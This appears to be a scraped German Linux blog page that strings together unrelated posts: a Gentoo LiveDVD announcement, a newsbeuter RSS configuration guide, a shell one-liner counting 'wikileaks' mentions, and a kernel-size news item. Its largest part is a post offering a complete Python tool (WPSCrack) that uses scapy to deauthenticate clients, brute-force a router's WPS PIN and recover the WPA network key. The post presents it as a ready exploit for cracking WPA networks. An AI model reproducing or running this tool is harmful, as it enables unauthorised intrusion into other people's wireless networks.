UNIX-Time: 1327747163

 

A special thanks to the Gentoo Infrastructure Team. Their hard work behind the scenes provide the resources, services and technology necessary to support the Gentoo Linux project.

  • Packages included in this release: Linux Kernel 3.1.5, Xorg 1.10.4, KDE 4.7.4, Gnome 3.2.1 XFCE 4.8, Fluxbox 1.3.2 Firefox 9.0, LibreOffice 3.4.99.2, Gimp 2.6.11, Blender 2.60, Amarok 2.5 , VLC 1.1.13, Chromium 16.0 and much more …
  • If you want to see if your package is included we have generated both the x86 package list, and amd64 package list. You may also be interested in checking out the FAQ or the updated artwork plus dvd cases and covers for the 12.0 release.
  • Special Features:
    • Writable file systems using AUFS so you can emerge new packages!
    • Persistence for $HOME is available; press F9 for more info!

The LiveDVD is available in two flavors: a hybrid x86/x86_64 version, and an x86_64 multi lib version. The livedvd-x86-amd64-32ul-11.2 version will work on 32-bit x86 or 64-bit x86_64. If your CPU architecture is x86, then boot with the default gentookernel. If your arch is amd64, boot with the gentoo64 kernel. This means you can boot a 64-bit kernel and install a customized 64-bit user land while using the provided 32-bit user land. The livedvd-amd64-multilib-11.2 version is for x86_64 only.

If you are ready to check it out, let our bouncer direct you to the closest x86 image or amd64 image file. If you would prefer to take it easy on the bandwidth and help the community, torrents are also provided.

If you need support or have any questions, please visit the discussion thread on our forum.

Thank you for your continued support,
Gentoo Linux Developers, the Gentoo Foundation, and the Gentoo-Ten Project.

Hier ein kleiner Exploit zum cracken von WPA-netzen durch kürzlich gefundener  WPS-Lücke.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
#!/usr/bin/env python
'''
This software was written by Stefan Viehboeck <sviehboeck@gmail.com>
based on the Windows Connect Now - NET spec and code in wpa_supplicant.
Consider this beerware. Prost!
'''
import time, threading, hmac, hashlib, sys, optparse, random
from struct import pack, unpack
from Crypto.Cipher import AES
from scapy.all import *
class WPSCrack:
verbose = None
client_mac = None
bssid = None
ssid = None
secret_number = None
timeout_time = None
pin = None
# 1536-bit MODP Group from RFC 3526
prime_str = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1'\
'29024E088A67CC74020BBEA63B139B22514A08798E3404DD'\
'EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245'\
'E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED'\
'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D'\
'C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F'\
'83655D23DCA3AD961C62F356208552BB9ED529077096966D'\
'670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF'
prime_int = int(prime_str, 16)
rcved_auth_response = False
rcved_asso_response = False
rcved_eap_request_identity = False
rcved_m1 = False
rcved_m3 = False
rcved_m5 = False
m4_sent = False
got_fist_half = False
done = False
request_EAP_id = 0
last_msg_buffer = ''
rcved = threading.Event()
ENonce = ''
RNonce = ''
PK_E = ''
PK_R = ''
EnrolleeMAC = ''
AuthKey = ''
KeyWrapKey = ''
EMSK = ''
PSK1 = ''
PSK2 = ''
E_S1 = ''
E_S2 = ''
EHash1 = ''
EHash2 = ''
R_S1 = ''
R_S2 = ''
RHash1 = ''
RHash1 = ''
has_auth_failed = False
has_timeout = False
has_retry = False
wps_attributes = {
0xFF00 : 'Vendor',
0xFF01 : 'Vendor Type',
0xFF02 : 'Opcode',
0xFF03 : 'Flags',
0x104A : 'Version',
0x104A : 'Authentication Flags',
0x1022 : 'Message Type',
0x1047 : 'UUID E',
0x1020 : 'MAC',
0x101a : 'Enrollee Nonce',
0x1032 : 'Public Key',
0x1010 : 'Encryption Type Flags',
0x100d : 'Connection Type Flags',
0x1008 : 'Config Methods',
0x100d : 'Wifi Protected Setup State',
0x1021 : 'Manufacturer',
0x1023 : 'Model Name',
0x1024 : 'Model Number',
0x1042 : 'Serial Number',
0x1054 : 'Primary Device Type',
0x1011 : 'Device Name',
0x103c : 'RF Bands',
0x1002 : 'Association State',
0x1012 : 'Device pin',
0x1009 : 'Configuration Error',
0x102d : 'OS Version',
0x1044 : 'Wifi Protected Setup State',
0x1004 : 'Authentication Type',
0x1005 : 'Authenticator',
0x1048 : 'UUID R',
0x1039 : 'Registrar Nonce',
0x1014 : 'E Hash 1',
0x1015 : 'E Hash 2',
0x103D : 'R Hash 2',
0x103E : 'R Hash 2',
0x1018 : 'Encrypted Settings',
0x103F : 'R-S1',
0x101e : 'Key Wrap Algorithm',
0x1016 : 'E-S1',
0x1017 : 'E-S2',
0x1003 : 'Auth Type',
0x100F : 'Encryption Type',
0x1003 : 'Auth Type',
0x1027 : 'Network Key',
0x1028 : 'Network Key Index',
0x1045 : 'SSID'
}
wps_message_types = {
0x04 : 'M1',
0x05 : 'M2',
0x07 : 'M3',
0x08 : 'M4',
0x09 : 'M5',
0x0a : 'M6',
0x0b : 'M7',
0x0c : 'M8',
0x0f : 'WSC_DONE',
0x0e : 'WSC_NACK'
}
def run(self):
sniffer_thread = threading.Thread(target=self.sniffer)
sniffer_thread.start()
time.sleep(1)
authorization_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=11L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \
/ Dot11Auth(status=0, seqnum=1, algo=0)
association_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=0L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \
/ Dot11AssoReq(listen_interval=5, cap=12548L) \
/ Dot11Elt(info=self.ssid, ID=0, len=len(self.ssid)) \
/ Dot11Elt(info='\x02\x04\x0b\x16\x0c\x12\x18$', ID=1, len=8) \
/ Dot11Elt(info='0H`l', ID=50, len=4) \
/ Dot11Elt(info='\x00P\xf2\x02\x00\x01\x00', ID=221, len=7) \
/ Dot11Elt(info='\x00P\xf2\x04\x10J\x00\x01\x10\x10:\x00\x01\x02', ID=221, len=14)
# TODO: add 802.11n capabilities
eapol_start = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \
/ Dot11QoS(TID=0L, TXOP=0, Reserved=0L, EOSP=0L) \
/ LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=1, len=0)
response_identity = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \
/ LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=35) \
/ EAP(code=2, type=1, id=0, len=35) \
/ Raw(load='WFA-SimpleConfig-Registrar-1-0')
i = 0
while self.done == False:
if self.done == True:
break
self.rcved_auth_response = False
self.rcved_asso_response = False
self.rcved_eap_request_identity = False
self.rcved_m1 = False
self.rcved_m3 = False
self.rcved_m5 = False
self.m4_sent = False
i += 1
if self.verbose: print '------------------- attempt #%i' % i
timeout_timer = threading.Timer(self.timeout_time, self.timeout)
timeout_timer.start()
self.has_auth_failed = False
self.has_timeout = False
self.has_retry = False
start_time = time.time()
print 'Trying', self.pin
self.send_deauth()
if self.verbose: print '-> 802.11 authentication request'
self.rcved.clear()
sendp(authorization_request, verbose=0)
self.rcved.wait()
if self.rcved_auth_response == True:
if self.verbose: print '-> 802.11 association request'
self.rcved.clear()
sendp(association_request, verbose=0)
self.rcved.wait()
if self.rcved_asso_response == True:
if self.verbose: print '-> EAPOL start'
self.rcved.clear()
sendp(eapol_start, verbose=0)
self.rcved.wait()
if self.rcved_eap_request_identity == True:
if self.verbose: print '-> EAP response identity'
response_identity[EAP].id = self.request_EAP_id
self.rcved.clear()
sendp(response_identity, verbose=0)
self.rcved.wait()
if self.rcved_m1 == True:
if self.verbose: print '-> M2'
self.rcved.clear()
self.send_M2()
self.rcved.wait()
if self.rcved_m3 == True:
if self.verbose: print '-> M4'
self.rcved.clear()
self.send_M4()
self.m4_sent = True
self.rcved.wait()
if self.rcved_m5 == True:
if self.verbose: print '-> M6'
self.rcved.clear()
self.send_M6()
self.rcved.wait()
self.send_deauth()
time.sleep(0.05)
self.rcved.clear()
timeout_timer.cancel()
if self.verbose: print 'attempt took %.3f seconds' % (time.time() - start_time)
self.gen_pin()
def bignum_pack(self, n, l):
return ''.join([(chr((n >> ((l - i - 1) * 8)) % 256)) for i in xrange(l)])
def bignum_unpack(self, byte):
return sum([ord(b) << (8 * i) for i, b in enumerate(byte[::-1])])
def kdf(self, key, personalization_string, el):
x = ''
for i in range (1, (sum(el) + 32 - 1) / 32): # slow
s = pack('!I', i) + personalization_string + pack('!I', sum(el))
x += hmac.new(key, s, hashlib.sha256).digest()
r = []
c = 0
for e in el:
r.append(x[c:c + (e / 8)])
c += e / 8
return r
def gen_keys(self):
pubkey_enrollee = self.bignum_unpack(self.PK_E)
pubkey_registrar = pow(2, self.secret_number, self.prime_int)
shared_key = self.bignum_pack(pow(pubkey_enrollee, self.secret_number, self.prime_int), 192)
self.PK_R = self.bignum_pack(pubkey_registrar, 192)
self.RNonce = os.urandom(16)
DHKey = hashlib.sha256(shared_key).digest()
KDK = hmac.new(DHKey, self.ENonce + self.EnrolleeMAC + self.RNonce, hashlib.sha256).digest()
self.AuthKey, self.KeyWrapKey, self.EMSK = self.kdf(KDK, 'Wi-Fi Easy and Secure Key Derivation', [256, 128, 256])
self.R_S1 = '\00' * 16 #random enough
self.R_S2 = '\00' * 16
self.PSK1 = hmac.new(self.AuthKey, self.pin[0:4], hashlib.sha256).digest()[:16]
self.PSK2 = hmac.new(self.AuthKey, self.pin[4:8], hashlib.sha256).digest()[:16]
self.RHash1 = hmac.new(self.AuthKey, self.R_S1 + self.PSK1 + self.PK_E + self.PK_R, hashlib.sha256).digest()
self.RHash2 = hmac.new(self.AuthKey, self.R_S2 + self.PSK2 + self.PK_E + self.PK_R, hashlib.sha256).digest()
def PKCS5_2_0_pad(self, s):
pad_len = 16 - len(s) % 16;
x = pack('b', pad_len)
s += (x * pad_len)[:pad_len]
return s
def encrypt(self, lst):
to_enc_s = self.assemble_EAP_Expanded(lst)
kwa = hmac.new(self.AuthKey, to_enc_s, hashlib.sha256).digest()[0:8]
iv = '\00' * 16
to_enc_s += self.assemble_EAP_Expanded([[0x101e, kwa]])
plaintext = self.PKCS5_2_0_pad(to_enc_s)
ciphertext = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).encrypt(plaintext)
return iv, ciphertext
def decrypt(self, iv, ciphertext):
p = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).decrypt(ciphertext)
plaintext = p[:len(p) - ord(p[-1])] # remove padding
return self.disassemble_EAP_Expanded(plaintext)
def gen_authenticator(self, msg):
return hmac.new(self.AuthKey, self.last_msg_buffer[9:] + msg, hashlib.sha256).digest()[:8]
def send_M2(self):
if self.ENonce == '':
print 'enonce is empty!!!'
m2 = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x04'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
# message type:
[0x1022, '\x05'],
# enrollee nonce:
[0x101A, self.ENonce],
# registrar nonce:
[0x1039, self.RNonce],
# uuid registrar:
[0x1048, '\x12\x34\x56\x78\x9A\xBC\xDE\xF0\x12\x34\x56\x78\x9A\xBC\xDE\xF0'],
# public key:
[0x1032, self.PK_R],
[0x1004, '\x00\x3F'],
[0x1010, '\x00\x0F'],
[0x100D, '\x01'],
[0x1008, '\x01\x08'],
[0x1021, '\x00'],
[0x1023, '\x00'],
[0x1024, '\x00'],
[0x1042, '\x00'],
[0x1054, '\x00\x00\x00\x00\x00\x00\x00\x00'],
[0x1011, '\x00'],
[0x103C, '\x03'],
[0x1002, '\x00\x00'],
[0x1009, '\x00\x00'],
[0x1012, '\x00\x00'],
[0x102D, '\x80\x00\x00\x00']
]
eap_expanded = self.assemble_EAP_Expanded(m2)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=383) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=383) \
/ Raw(load=eap_expanded)
authenticator = self.gen_authenticator(str(m[Raw])[9:])
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
sendp(m, verbose=0)
def send_M4(self):
ConfigData = [[0x103f, self.R_S1]]
iv, ciphertext = self.encrypt(ConfigData)
m4 = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x04'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
[0x1022, '\x08'],
# ENonce
[0x101A, self.ENonce],
# RHash1
[0x103D, self.RHash1],
# RHash2
[0x103E, self.RHash2],
# Encrypted RS1
[0x1018, iv + ciphertext]
]
eap_expanded = self.assemble_EAP_Expanded(m4)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \
/ LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=196) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=196) \
/ Raw(load=eap_expanded)
authenticator = self.gen_authenticator(str(m[Raw])[9:])
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
sendp(m, verbose=0)
def send_M6(self):
ConfigData = [[0x1040, self.R_S2]]
iv, ciphertext = self.encrypt(ConfigData)
m6 = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x04'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
[0x1022, '\x0A'],
# ENonce
[0x101A, self.ENonce],
# Encrypted RS_1
[0x1018, iv + ciphertext]
]
eap_expanded = self.assemble_EAP_Expanded(m6)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) / EAPOL(version=1, type=0, len=124) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=124) / Raw(load=eap_expanded)
authenticator = self.gen_authenticator(str(m[Raw])[9:])
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
sendp(m, verbose=0)
def parse_EAP_Expanded(self, l):
d = {}
message_type = None
#performance ?
for e in l:
d[e[0]] = e[1]
if 0x1022 in d:
if ord(d[0x1022]) in self.wps_message_types:
message_type = self.wps_message_types[ord(d[0x1022])]
if self.verbose: print '<-', message_type
else:
print '< unknown Message Type: 0x%X', ord(d[0x1022])
if message_type == 'M1':
self.ENonce = d[0x101a]
self.PK_E = d[0x1032]
self.EnrolleeMAC = d[0x1020]
self.gen_keys()
self.rcved_m1 = True
elif message_type == 'M3':
self.EHash1 = d[0x1014]
self.EHash2 = d[0x1015]
self.rcved_m3 = True
elif message_type == 'M5':
# we could validate the data but it makes no sense
if self.got_fist_half is False:
print 'found first half:', self.pin[0:4]
self.got_fist_half = True
self.rcved_m5 = True
elif message_type == 'M7':
# juice
print '-------------------------- FOUND PIN: %s --------------------------' % self.pin
encrypted = d[0x1018]
x = self.decrypt(encrypted[:16], encrypted[16:])
self.dump_EAP_Expanded(x)
self.done = True
elif message_type == 'WSC_NACK':
if self.m4_sent == True:
self.has_auth_failed = True
nack = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x03'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
[0x1022, '\x0E'],
#
[0x101A, self.ENonce],
[0x1039, self.RNonce],
[0x1009, '\x00\x00']
]
eap_expanded = self.assemble_EAP_Expanded(nack)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=70) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=70) \
/ Raw(load=eap_expanded)
if self.verbose: print '-> WCS_NACK'
sendp(m, verbose=0)
else:
print 'got NACK before M4 - something is wrong'
self.has_retry = True
return
def sniffer_filter(self, x):
if (self.done == True):
return True
elif (self.rcved.is_set() is False):
if x.haslayer(Dot11) and x[Dot11].addr1 == self.client_mac and x[Dot11].addr3 == self.bssid:
if x.haslayer(Dot11Auth) and x[Dot11Auth].status == 0:
if self.verbose: print '<- 802.11 authentication response'
self.rcved_auth_response = True
self.rcved.set()
elif x.haslayer(Dot11AssoResp) and x[Dot11AssoResp].status == 0:
if self.verbose: print '<- 802.11 association response'
self.rcved_asso_response = True
self.rcved.set()
elif x.haslayer(EAP) and x[EAP].code == 1:
self.request_EAP_id = x[EAP].id
if x[EAP].type == 254: #Type: Expanded Type
self.last_msg_buffer = str(x[Raw])[:-4]
disasm = self.disassemble_EAP_Expanded(x[Raw], has_FCS=True, has_start=True)
self.parse_EAP_Expanded(disasm)
self.rcved.set()
elif x[EAP].type == 1:
if self.verbose: print '<- EAP request identity'
if self.rcved_eap_request_identity == False:
self.rcved_eap_request_identity = True
self.rcved.set()
else:
print 'got unknown EAP message:'
print x.command()
return False
else:
# discard all messages if we don't want to receive
return False
def sniffer(self):
print 'sniffer started'
sniff(store=0, stop_filter=lambda x: self.sniffer_filter(x))
print 'sniffer stopped'
sys.exit()
def timeout(self):
print 'TIMEOUT!!'
self.rcved.set()
self.has_timeout = True
def should_continue(self):
if self.has_timeout == True or self.has_auth_failed == True or self.has_retry == True:
return False
else:
return True
def gen_pin(self):
if self.has_timeout == False and self.rcved_m3 == True:
if self.got_fist_half == True:
pin_int = int(self.pin[0:7]) + 1
else:
pin_int = int(self.pin[0:7]) + 1000
# append checksum
accum = 0
t = pin_int
while (t):
accum += 3 * (t % 10)
t /= 10
accum += t % 10
t /= 10
self.pin = '%07i%01i' % (pin_int, (10 - accum % 10) % 10)
def send_deauth(self):
if self.verbose: print '-> 802.11 deauthentication'
deauth = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=12L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L, ID=0) \
/ Dot11Deauth(reason=1)
sendp(deauth, verbose=0)
def disassemble_EAP_Expanded(self, p, has_FCS=False, has_start=False):
ret = []
i = 0
if has_FCS:
e = str(p)[:-4] #remove FCS
else:
e = str(p)
if has_start:
ret.append([0xFF00, e[0:3]])
ret.append([0xFF01, e[3:7]])
ret.append([0xFF02, e[7:8]])
ret.append([0xFF03, e[8:9]])
i = 9
while i < len(e) - 4:
data_length = unpack('!H', e[i + 2:i + 4])[0]
ret.append([unpack('!H', e[i:i + 2])[0], e[(i + 4):(i + 4 + unpack('!H', e[i + 2:i + 4])[0])] ])
i += data_length + 4
return ret
def assemble_EAP_Expanded(self, l):
ret = ''
for i in range(len(l)):
if l[i][0] & 0xFF00 == 0xFF00:
ret += (l[i][1])
else:
ret += pack('!H', l[i][0]) + pack('!H', len(l[i][1])) + l[i][1]
return ret
def dump_EAP_Expanded(self, lst):
for e in lst:
if e[0] in self.wps_attributes:
print self.wps_attributes[e[0]], ':'
hexdump(e[1])
else:
print 'Message ID 0x%X not found!' % e[0]
print e
def main():
wps = WPSCrack()
parser = optparse.OptionParser('usage: %prog --iface=IFACE --client=CLIENT_MAC --bssid=BSSID --ssid=SSID [optional arguments]')
parser.add_option('-i', '--iface', dest='iface', default='', type='string', help='network interface (monitor mode)')
parser.add_option('-c', '--client', dest='client_mac', default='', type='string', help='MAC of client interface')
parser.add_option('-b', '--bssid', dest='bssid', default='', type='string', help='MAC of AP (BSSID)')
parser.add_option('-s', '--ssid', dest='ssid', default='', type='string', help='SSID of AP (ESSID)')
parser.add_option('--dh', dest='dh_secret', default=1, type='int', help='diffie-hellman secret number')
parser.add_option('-t', '--timeout', dest='timeout', default=5, type='int', help='timemout in seconds')
parser.add_option('-p', '--pin', dest='start_pin', default='00000000', type='string', help='start pin for brute force')
parser.add_option('-v', '--verbose', action='store_true', dest='verbose', default=False, help='verbose')
(options, _) = parser.parse_args()
if options.iface != '' and options.client_mac != '' and options.bssid != '' and options.ssid != '':
conf.iface = options.iface
wps.client_mac = options.client_mac
wps.bssid = options.bssid
wps.ssid = options.ssid
wps.secret_number = options.dh_secret
wps.timeout_time = options.timeout
wps.verbose = options.verbose
wps.pin = options.start_pin
wps.run()
else:
print 'check arguments or use --help!'
return
if __name__ == '__main__':
main()

Hallo Welt,
auf der Suche nach einem kommandozeilenbasierten atom/rss-Reader habe ich mir mal Diverse angeschaut.
Sehr gefallen hat mir da der Reader newsbeuter. Mit einer übersichtlichen Konfigurationsdatei, mit vielen Möglichkeiten und einem mutt-ähnlichem Verhalten ist er mir sofort ans Herz gewachsen.

Screenshots gibt es hier.

Konfigurationsdatei: ~/.newsbeuter/urls

1
2
3
4
# ~/.newsbeuter/urls - Newsbeuter mit Feeds füttern
https://netzpolitik.org/feed/ "blog" "~netzpolitik.org"
http://neusprech.org/feed/ "blog" "~neusprech.org"

Am Anfang steht immer die URL des Feeds, anschließend können Tags folgen. Ein Tag mit einer Tilde repräsentiert in der Hauptansicht von newsbeuter anschließend den Namen des Feeds.

Das Programm ist zwar schon standardmäßig ordentlich konfiguriert, aber für Anpassungen ist eine gut dokumentierte Konfigurationsdatei dabei.
Ein Blick darin zeigt ein paar schnell konfigurierbare Features:

Konfigurationsdatei: ~/.newsbeuter/config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ~/.newsbeuter/config - nur ein Ausschnitt
# automatisches Aktualisieren
auto-reload yes
# Browser festlegen (mit 1-9 im Pager können Links direkt geöffnet werden
browser firefox
# eigenes Format festlegen (man strftime)
datetime-format "%a, %d.%m %I:%M%P"
# Anzeige der Liste verändern
feedlist-format "%n %7u - %t"
# Notification-Programm festlegen
notify-program "notify-send"

Darüber hinaus kann man mit newsbeuter Makros einrichten und Keys für eigene Aktionen definieren. Podcast-Support, Text-Highlighting mit Regex,Filterfunktionen sind auch schon inklusive.

Für die Podcastfunktion verweise ich mal an ubuntuusers, da ist das schon beschrieben.

Quelle:
http://www.newsbeuter.org/doc/newsbeuter.html
http://www.newsbeuter.org/screenshots.html

Source: http://grace.z3rogate.de/

Über Wikileaks wird derzeit in allen möglichen Nachrichtenmagazinen berichtet.
Wollte nur mal eben wissen welche Website das Wort ‘Wikileaks’ öfters benutzt.

Habe mir dafür eine Datei mit den Websites angelegt, die ich auf den String ‘wikileaks’ überprüfen wollte:

Beispiele:
theguardian.co.uk
fr-aktuell.de
heise.de
spiegel.de
(meine Liste ist etwas länger) ;-)

Anschließend noch folgenden schönen Befehl auf der Kommandozeile absetzen:

1
for i in $(cat ./news ) ; do echo -e "$(w3m -dump $i | grep -ic wikileaks) \t $i" ; done

Die Ausgabe sieht wie folgt aus: Vorne steht wie oft die Zeichenkette vorkommt, dahinter die geprüfte Website

1
2
3
4
6 theguardian.co.uk
7 fr-aktuell.de
4 heise.de
16 spiegel.de

Die Datei in der ich die Websites abgelegt habe lautet einfach nur news (im aktuellen Verzeichnis)
Die Websites werden mit w3m -dump und grep überprüft.

Source: http://grace.z3rogate.de/

Kernel-Log: 15.000.000 Zeilen, 3.0 wird Longterm-Kernel

Mit den ersten für Linux 3.3 aufgenommenen Änderungen haben die Kernel-Quellen die Marke von 15 Millionen Codezeilen durchbrochen. Die Pflege für Linux 2.6.32 endet vermutlich in einem Monat; Linux 3.0 und der darauf basierende Echtzeit-Kernel sollen die nächsten zwei Jahre gepflegt werden.

Nachdem das vergangene Woche freigegebene Linux 3.2 ganz knapp unter der Marke von 15 Millionen Zeilen Quellcode blieb, hat der Kernel diese Marke am Wochenende überschritten, als Torvalds die ersten Änderungen für Linux 3.3 in den Hauptentwicklungszweig aufnahm. Damit sind die Quellen des Linux-Kernels in etwas über drei Jahren um mehr als fünfzig Prozent gewachsen, denn die 10-Millionen-Marke hat der Kernel im Oktober 2008 durchbrochen; Kommentare, Leerzeilen, Dokumentation, Skripte und Userland-Werkzeuge, die dem Kernel beiliegen, werden dabei mitgezählt

1
find . -type f -not -regex '\./\.git.*' | xargs cat | wc -l

Unter den Kernel-Entwicklern wird der steigende Umfang eher selten kritisiert. Erst kürzlich hat Linux-Urgestein Theodore ‘tytso’ Ts’o auf der Mailingliste der Kernel-Entwickler angedeutet, Analysen zum Umfang hätten Unterhaltungswert, ließen aber keine Rückschlüsse auf die Komplexität zu. Letztere war in letzter Zeit häufiger Thema unter den Kernel-Entwicklern. Andrew Morton sagte etwa kürzlich bei der Begutachtung von Änderungen, die Kernel-Entwicklung hätte den Punkt überschritten, ab dem jede weitere Komplexität als Rückschritt (“regression”) angesehen werden müsse. Normalerweise versuchen die Kernel-Entwickler, “Regressions” zu vermeiden, damit ein neuer Kernel keine Probleme bereitet, die die Vorgänger nicht zeigten.

Torvalds selbst hat die wachsende Komplexität vor einigen Wochen in einem Interview der “Zeit Online” ebenfalls kritisiert: Er sähe mit Bangem dem Tag entgegen zu sehen, an dem die Kernel-Entwickler mit einen Fehler zu tun hätten, den niemand mehr nachvollziehen könne. Einem LWN.net-Bericht zufolge war Komplexität auch auf dem diesjährigen Treffen der Kernel-Entwickler ein Thema. Kritik gab es insbesondere am Code für das Memory Management: Demnach habe etwa die Lösung eines Problems im Umfeld von “page migration” drei wichtige Entwickler erfordert; niemand habe den Überblick über das große Ganze dieses Kernel-Bereichs. Schon im letzten Jahr hatte LWN.net einen Bericht veröffentlicht, der die Hintergründe eines während der Entwicklung von Linux 2.6.34 bemerkten Fehlers beim Code des Memory-Management-Codes erläuterte, dessen Ursache Torvalds und einige andere erfahrene Kernel-Entwickler tagelang nachgespürt hatten.

Analyse

Zum Erscheinen dieses Kernel-Log enthielt ein aktueller Git-Checkout des Hauptentwicklungszweigs von Linux 15.046.951 Zeilen. Es ist möglich, aber eher unwahrscheinlich, dass der Codeumfang wieder unter diese Marke sinkt. Langfristig ist Wachstum sicher, denn von einigen Ausreißern abgesehen waren die letzten Versionen typischerweise um hundert- bis dreihunderttausend Zeilen größer als ihre jeweiligen Vorgänger.


